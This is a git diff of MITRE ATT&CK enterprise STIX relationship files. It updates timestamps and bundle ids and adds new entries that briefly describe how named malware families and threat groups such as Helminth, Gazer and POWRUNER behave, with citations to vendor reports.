diff --git a/enterprise-attack/relationship/relationship--b368c7c2-a593-45cb-b557-aac668a02656.json b/enterprise-attack/relationship/relationship--b368c7c2-a593-45cb-b557-aac668a02656.json
index d1e20471f6..149cc2dbdf 100644
--- a/enterprise-attack/relationship/relationship--b368c7c2-a593-45cb-b557-aac668a02656.json
+++ b/enterprise-attack/relationship/relationship--b368c7c2-a593-45cb-b557-aac668a02656.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--51895f59-7fed-4274-b883-ab1c0a1d5b69",
+    "id": "bundle--aca9d21d-90ec-4f36-9b3b-5feb686f14d2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b368c7c2-a593-45cb-b557-aac668a02656",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs discovery of permission groups <code>net group /domain</code>.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a.json b/enterprise-attack/relationship/relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a.json
index ced7b30ec4..2decfcf536 100644
--- a/enterprise-attack/relationship/relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a.json
+++ b/enterprise-attack/relationship/relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c671855c-790d-4ab4-978b-fa90d2ea9f29",
+    "id": "bundle--9ac1fed1-1ef6-4491-b43b-3a2124fc932b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY encrypts C2 traffic with AES and RSA.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
diff --git a/enterprise-attack/relationship/relationship--b3831788-f18f-4315-997e-275e425c0d31.json b/enterprise-attack/relationship/relationship--b3831788-f18f-4315-997e-275e425c0d31.json
new file mode 100644
index 0000000000..cf413d3d2f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b3831788-f18f-4315-997e-275e425c0d31.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e2fe60d6-7c9c-4f11-b052-e2bc651f8462",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b3831788-f18f-4315-997e-275e425c0d31",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "copies a file over to the remote system before execution .",
+            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694.json b/enterprise-attack/relationship/relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694.json
index a6ab13dc41..bcaa2cff3d 100644
--- a/enterprise-attack/relationship/relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694.json
+++ b/enterprise-attack/relationship/relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--27ea19fe-4ab3-4957-8956-15b4ab45d1c7",
+    "id": "bundle--7a9de449-a852-4932-8197-7a9ff5f3d1e9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors used a victim's endpoint management platform, Altiris, for lateral movement.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
diff --git a/enterprise-attack/relationship/relationship--b3973baa-0185-45a1-934d-2b29f742a2df.json b/enterprise-attack/relationship/relationship--b3973baa-0185-45a1-934d-2b29f742a2df.json
index f8b8ee28ce..c4323f3a13 100644
--- a/enterprise-attack/relationship/relationship--b3973baa-0185-45a1-934d-2b29f742a2df.json
+++ b/enterprise-attack/relationship/relationship--b3973baa-0185-45a1-934d-2b29f742a2df.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a6b01ab9-b055-4525-83c0-63667da6b81e",
+    "id": "bundle--360c92f1-7645-47cc-9d5b-5984ea73850d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b3973baa-0185-45a1-934d-2b29f742a2df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XTunnel uses SSL/TLS and RC4 to encrypt traffic.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9.json b/enterprise-attack/relationship/relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9.json
new file mode 100644
index 0000000000..c90de8610e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1f494515-630c-4d7b-b604-cf0bf8e1cdcd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth has checked for the local admin group domain admin group and Exchange Trusted Subsystem groups using the commands <code>net group Exchange Trusted Subsystem /domain</code> and <code>net group domain admins /domain</code>.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305.json b/enterprise-attack/relationship/relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305.json
index 767e904aaa..b226a22993 100644
--- a/enterprise-attack/relationship/relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305.json
+++ b/enterprise-attack/relationship/relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82cf5290-56fe-495e-aa9d-bdaef6256ee1",
+    "id": "bundle--3a61a41f-6435-41b4-8f18-0f6ddafcfee4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist Dropping Elephant",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
-                    "url": "https://securelist.com/blog/research/75328/the-dropping-elephant-actor/"
+                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1.json b/enterprise-attack/relationship/relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1.json
index 93bf690e75..0ed59f4451 100644
--- a/enterprise-attack/relationship/relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1.json
+++ b/enterprise-attack/relationship/relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2fb36469-a1fb-4acc-8513-68dca487bbf9",
+    "id": "bundle--61510345-e55b-4e22-8696-75161812f7e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT uses HTTP TCP port 80 and HTTPS TCP port 443 for communications.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87.json b/enterprise-attack/relationship/relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87.json
index ecd522f452..b6a4811d7f 100644
--- a/enterprise-attack/relationship/relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87.json
+++ b/enterprise-attack/relationship/relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3ad05c44-0374-45de-a8d1-287c70db88ea",
+    "id": "bundle--052b2f25-b382-4cea-9deb-f3e489cfca35",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS is capable of downloading additional files through C2 channels, including a new version of itself.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00.json b/enterprise-attack/relationship/relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00.json
index a57f2f2d4b..e2d7530083 100644
--- a/enterprise-attack/relationship/relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00.json
+++ b/enterprise-attack/relationship/relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94744a00-b91c-4f13-aa7f-12a7d14c08cb",
+    "id": "bundle--6a7e579a-a152-441e-9c0f-e157f3d14b8c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If NETEAGLE does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, NETEAGLE will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--b41c70df-0955-408c-90ee-7acad8b080e1.json b/enterprise-attack/relationship/relationship--b41c70df-0955-408c-90ee-7acad8b080e1.json
new file mode 100644
index 0000000000..d92eafc61f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b41c70df-0955-408c-90ee-7acad8b080e1.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--42ce0448-c368-4ce4-a229-5a15c111e6d6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b41c70df-0955-408c-90ee-7acad8b080e1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
+            "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b41c9b77-536b-49bc-8cb9-a873aa121002.json b/enterprise-attack/relationship/relationship--b41c9b77-536b-49bc-8cb9-a873aa121002.json
index 98d470a8ca..87e80a0cae 100644
--- a/enterprise-attack/relationship/relationship--b41c9b77-536b-49bc-8cb9-a873aa121002.json
+++ b/enterprise-attack/relationship/relationship--b41c9b77-536b-49bc-8cb9-a873aa121002.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d3ec0341-8fcd-4b98-b194-c1d2c3c9ad9c",
+    "id": "bundle--906c409b-2a8d-4cac-a687-08b4d22d6577",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b41c9b77-536b-49bc-8cb9-a873aa121002",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PoisonIvy uses the Camellia cipher to encrypt communications.",
             "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc.json b/enterprise-attack/relationship/relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc.json
index 816c6699ef..daaf1caab6 100644
--- a/enterprise-attack/relationship/relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc.json
+++ b/enterprise-attack/relationship/relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5df6c26c-a16d-4a7b-908e-c3ad0088c108",
+    "id": "bundle--22e9cd6e-9d2a-4cab-954c-c7c131b28d5e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OnionDuke uses HTTP and HTTPS for C2.",
             "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
diff --git a/enterprise-attack/relationship/relationship--b4795040-fe94-429a-9853-f30c09ba05aa.json b/enterprise-attack/relationship/relationship--b4795040-fe94-429a-9853-f30c09ba05aa.json
index 7e6b4e384e..e36484204a 100644
--- a/enterprise-attack/relationship/relationship--b4795040-fe94-429a-9853-f30c09ba05aa.json
+++ b/enterprise-attack/relationship/relationship--b4795040-fe94-429a-9853-f30c09ba05aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7e736a39-b7a0-4c4b-8d27-4e4c0c5c3ba4",
+    "id": "bundle--4929ca58-ef58-4796-8725-e1046518c81d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b4795040-fe94-429a-9853-f30c09ba05aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can obtain screenshots from the victim.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
diff --git a/enterprise-attack/relationship/relationship--f2ad5e22-b08f-408f-8c9f-b1679d778768.json b/enterprise-attack/relationship/relationship--b4b71687-5aed-4cde-ba59-c37bb5231878.json
similarity index 74%
rename from enterprise-attack/relationship/relationship--f2ad5e22-b08f-408f-8c9f-b1679d778768.json
rename to enterprise-attack/relationship/relationship--b4b71687-5aed-4cde-ba59-c37bb5231878.json
index a98deb5a7e..1bf0425004 100644
--- a/enterprise-attack/relationship/relationship--f2ad5e22-b08f-408f-8c9f-b1679d778768.json
+++ b/enterprise-attack/relationship/relationship--b4b71687-5aed-4cde-ba59-c37bb5231878.json
@@ -1,18 +1,18 @@
 {
     "type": "bundle",
-    "id": "bundle--b7c2f5b0-30b3-4640-942f-31e33d2ceac3",
+    "id": "bundle--2c36cf35-ca33-4330-97ef-993b66333e97",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "relationship",
-            "id": "relationship--f2ad5e22-b08f-408f-8c9f-b1679d778768",
+            "id": "relationship--b4b71687-5aed-4cde-ba59-c37bb5231878",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER uses HTTP over port 443 for command and control.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
-            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
             "external_references": [
                 {
                     "source_name": "FireEye EPS Awakens Part 2",
diff --git a/enterprise-attack/relationship/relationship--b4c7e12f-6921-4007-ab15-595969bf9eca.json b/enterprise-attack/relationship/relationship--b4c7e12f-6921-4007-ab15-595969bf9eca.json
new file mode 100644
index 0000000000..9c9d401651
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b4c7e12f-6921-4007-ab15-595969bf9eca.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--21569c00-7b74-406c-894a-4f5b886fa839",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b4c7e12f-6921-4007-ab15-595969bf9eca",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER is written in PowerShell.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b4e77f71-970a-4b24-938f-0d50ecea1969.json b/enterprise-attack/relationship/relationship--b4e77f71-970a-4b24-938f-0d50ecea1969.json
index 1b54813e07..3752bbdff7 100644
--- a/enterprise-attack/relationship/relationship--b4e77f71-970a-4b24-938f-0d50ecea1969.json
+++ b/enterprise-attack/relationship/relationship--b4e77f71-970a-4b24-938f-0d50ecea1969.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--27789b1f-da36-4e03-8281-e266ab5e4ac9",
+    "id": "bundle--6c2a4f66-235f-4877-864e-60659d2cb1ae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b4e77f71-970a-4b24-938f-0d50ecea1969",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of providing shell functionality to the attacker to execute commands.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--b4f8c479-aab5-481d-aa04-922677da108a.json b/enterprise-attack/relationship/relationship--b4f8c479-aab5-481d-aa04-922677da108a.json
new file mode 100644
index 0000000000..62af40530b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b4f8c479-aab5-481d-aa04-922677da108a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3de1393d-e93d-4f47-af5e-603e195411f4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b4f8c479-aab5-481d-aa04-922677da108a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can establish persistence through the system screensaver by configuring it to execute the malware.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b51f3b69-d62b-4ccf-9ce8-62ec7f934e4b.json b/enterprise-attack/relationship/relationship--b51f3b69-d62b-4ccf-9ce8-62ec7f934e4b.json
index f46ede3734..ff4240fd69 100644
--- a/enterprise-attack/relationship/relationship--b51f3b69-d62b-4ccf-9ce8-62ec7f934e4b.json
+++ b/enterprise-attack/relationship/relationship--b51f3b69-d62b-4ccf-9ce8-62ec7f934e4b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3a0d72a-8b93-4807-a492-007b4b32f838",
+    "id": "bundle--a94bf3d3-4140-47fb-bdd6-68c6364051b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b51f3b69-d62b-4ccf-9ce8-62ec7f934e4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses a unique form of communication encryption that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae.json b/enterprise-attack/relationship/relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae.json
index e93874cd76..5be3e33ab0 100644
--- a/enterprise-attack/relationship/relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae.json
+++ b/enterprise-attack/relationship/relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9abc55ab-1c8c-43b1-8668-859be8605c3a",
+    "id": "bundle--5769cbf9-6906-4887-8d43-fdf0b4eb4b0c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke uses HTTP and HTTPS for command and control.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
diff --git a/enterprise-attack/relationship/relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087.json b/enterprise-attack/relationship/relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087.json
new file mode 100644
index 0000000000..5e67869d42
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5cf1fdd2-c474-4220-8934-cadefe625bb2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b640dfee-9502-4ffb-92e4-f153f8726383.json b/enterprise-attack/relationship/relationship--b640dfee-9502-4ffb-92e4-f153f8726383.json
index c41f332bc3..b3191adf90 100644
--- a/enterprise-attack/relationship/relationship--b640dfee-9502-4ffb-92e4-f153f8726383.json
+++ b/enterprise-attack/relationship/relationship--b640dfee-9502-4ffb-92e4-f153f8726383.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7fac24a-703c-4545-bab9-74a3b0de63d3",
+    "id": "bundle--f61069cf-70fa-4b72-a229-ea968e21be63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b640dfee-9502-4ffb-92e4-f153f8726383",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of enumerating application windows.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
